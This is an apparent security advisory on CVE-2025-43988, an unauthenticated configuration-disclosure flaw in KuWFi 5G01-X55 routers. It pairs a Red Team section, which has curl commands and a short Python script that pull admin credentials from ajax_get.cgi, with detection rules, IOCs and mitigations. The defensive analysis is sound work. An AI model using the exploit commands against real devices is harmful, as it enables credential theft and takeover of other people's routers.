CVE-2025-43988

Executive Summary

CVE-2025-43988 exposes a critical authentication bypass vulnerability in KuWFi 5G01-X55 routers running firmware version FL2020_V0.0.12. The device exposes an unauthenticated API endpoint (ajax_get.cgi) that allows any remote attacker to retrieve sensitive configuration data, including administrative credentials. This flaw is classified under CWE-306 (Missing Authentication for Critical Function) and is currently unpatched. The vulnerability enables full device compromise, network pivoting, and potential lateral movement within the victim's LAN.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The high confidentiality impact stems from the direct exposure of admin credentials, which can be leveraged for full device takeover.

Deep Dive & Mechanics

The vulnerability resides in the ajax_get.cgi CGI script, which is intended for internal diagnostics but lacks any authentication checks. The endpoint returns a JSON or XML payload containing the device's configuration, including:

• Admin username and password (plaintext or base64-encoded)
• Wi-Fi SSID and pre-shared keys
• WAN/LAN IP configuration
• DNS settings
• Firmware version and update URLs

The attack surface is amplified by the fact that the device listens on WAN port 80/443 by default, making it reachable from the internet. Shodan dorks reveal thousands of exposed devices globally.

Vulnerable vs. Patched Code

Vulnerable Code (FL2020_V0.0.12): The ajax_get.cgi script does not validate the session or require any authentication token. A simple HTTP GET request to /cgi-bin/ajax_get.cgi?cmd=get_config returns the full configuration.

# Pseudocode of vulnerable handler
def handle_ajax_get(request):
    cmd = request.get('cmd')
    if cmd == 'get_config':
        config = read_device_config()
        return json.dumps(config)  # No auth check

Patched Code (Hypothetical): A patched version would require a valid session cookie or authentication token before serving sensitive data.

# Pseudocode of patched handler
def handle_ajax_get(request):
    if not is_authenticated(request):
        return "401 Unauthorized", 401
    cmd = request.get('cmd')
    if cmd == 'get_config':
        config = read_device_config()
        return json.dumps(config)

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a KuWFi 5G01-X55 router with firmware FL2020_V0.0.12 in an isolated network.
2. Ensure the device is accessible via HTTP on port 80.

Exploitation Steps:

1. Send a GET request to the vulnerable endpoint:

   curl http://<target_ip>/cgi-bin/ajax_get.cgi?cmd=get_config
   

2. Parse the response to extract admin credentials:

   curl -s http://<target_ip>/cgi-bin/ajax_get.cgi?cmd=get_config | jq '.admin'
   

3. Use the extracted credentials to log into the web interface and gain full administrative control.

Automated Exploit (Python):

import requests
import sys

target = sys.argv[1]
url = f"http://{target}/cgi-bin/ajax_get.cgi?cmd=get_config"
resp = requests.get(url)
if resp.status_code == 200:
    print("[+] Configuration retrieved:")
    print(resp.text)
else:
    print("[-] Failed to retrieve config")

Blue Team

Detection Steps:

1. Monitor for HTTP GET requests to /cgi-bin/ajax_get.cgi from external IPs.
2. Alert on any successful retrieval of configuration data (look for admin or password in response body).
3. Correlate with login attempts using extracted credentials.

Honeypot Configuration: Deploy a fake ajax_get.cgi endpoint that logs all requests and returns decoy credentials to track attackers.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /cgi-bin/ajax_get.cgi?cmd=get_config
  • Source IPs scanning for KuWFi devices (Shodan dorks)
  • Outbound connections from the device to attacker C2 after compromise

• File IOCs:

  • Modified /etc/config or /tmp/config.bin on the device
  • Presence of unauthorized SSH keys in /etc/dropbear/authorized_keys

• Behavioral IOCs:

  • Unusual admin login times from unexpected IPs
  • Changes to Wi-Fi SSID or password without user action

Detection Engineering

YARA Rule

rule CVE_2025_43988_KuWFi_Config_Exfil {
    meta:
        description = "Detects HTTP responses containing KuWFi admin credentials from ajax_get.cgi"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-43988"
    strings:
        $admin = "admin" nocase
        $password = "password" nocase
        $config = "get_config" nocase
        $ajax = "ajax_get.cgi" nocase
    condition:
        all of ($admin, $password, $config, $ajax)
}

Sigma Rule

title: KuWFi Unauthenticated Config Retrieval
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP GET requests to the unauthenticated ajax_get.cgi endpoint on KuWFi devices
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/cgi-bin/ajax_get.cgi'
        cs-uri-query: 'cmd=get_config'
    condition: selection
falsepositives:
    - Legitimate internal diagnostics (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-43988 KuWFi Unauthenticated Config Access"; flow:to_server; content:"GET"; http_method; content:"/cgi-bin/ajax_get.cgi"; http_uri; content:"cmd=get_config"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable WAN access to the web interface (port 80/443) if not required.
2. Restrict access to the admin interface via firewall rules (allow only trusted IPs).
3. Change default admin credentials immediately and use strong passwords.

Long-Term Fix:

• Vendor must release a firmware update that adds authentication to ajax_get.cgi.
• Until patched, consider replacing the device with a secure alternative.

Workaround:

• Block /cgi-bin/ajax_get.cgi via reverse proxy or WAF rules.
• Monitor logs for exploitation attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst